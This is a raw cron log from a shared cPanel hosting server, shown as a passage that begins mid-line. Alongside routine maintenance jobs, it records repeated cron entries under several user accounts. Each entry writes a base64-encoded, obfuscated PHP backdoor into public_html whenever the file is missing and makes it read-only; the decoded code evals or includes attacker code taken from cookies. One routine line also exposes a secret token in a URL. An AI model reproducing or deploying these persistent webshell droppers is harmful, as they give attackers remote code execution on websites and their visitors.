gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:28:01 medusa CROND[2133]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:28:01 medusa CROND[2132]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:28:01 medusa CROND[2144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:28:01 medusa CROND[2146]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:28:01 medusa CROND[2145]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:29:02 medusa CROND[22291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:29:02 medusa CROND[22293]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:29:02 medusa CROND[22294]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:29:02 medusa CROND[22297]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:29:02 medusa CROND[22298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:29:02 medusa CROND[22300]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:29:02 medusa CROND[22302]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:29:02 medusa CROND[22303]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:29:02 medusa CROND[22306]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:29:02 medusa CROND[22308]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:29:02 medusa CROND[22310]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:29:02 medusa CROND[22311]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 12:29:02 medusa CROND[22314]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:30:01 medusa CROND[9438]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9451]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 12:30:01 medusa CROND[9496]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 12:30:01 medusa CROND[9831]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9832]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:30:01 medusa CROND[9834]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 12:30:01 medusa CROND[9838]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 12:30:01 medusa CROND[9836]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:30:01 medusa CROND[9841]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 12:30:01 medusa CROND[9840]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 12:30:01 medusa CROND[9847]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9848]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 12:30:01 medusa CROND[9845]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 12:30:01 medusa CROND[9842]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 12:30:01 medusa CROND[9853]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9874]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:30:01 medusa CROND[9877]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:30:01 medusa CROND[9867]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9883]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9882]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  2 12:30:01 medusa CROND[9897]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:30:01 medusa CROND[9898]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9899]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:30:01 medusa CROND[9900]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:30:01 medusa CROND[9904]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 12:30:01 medusa CROND[9906]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
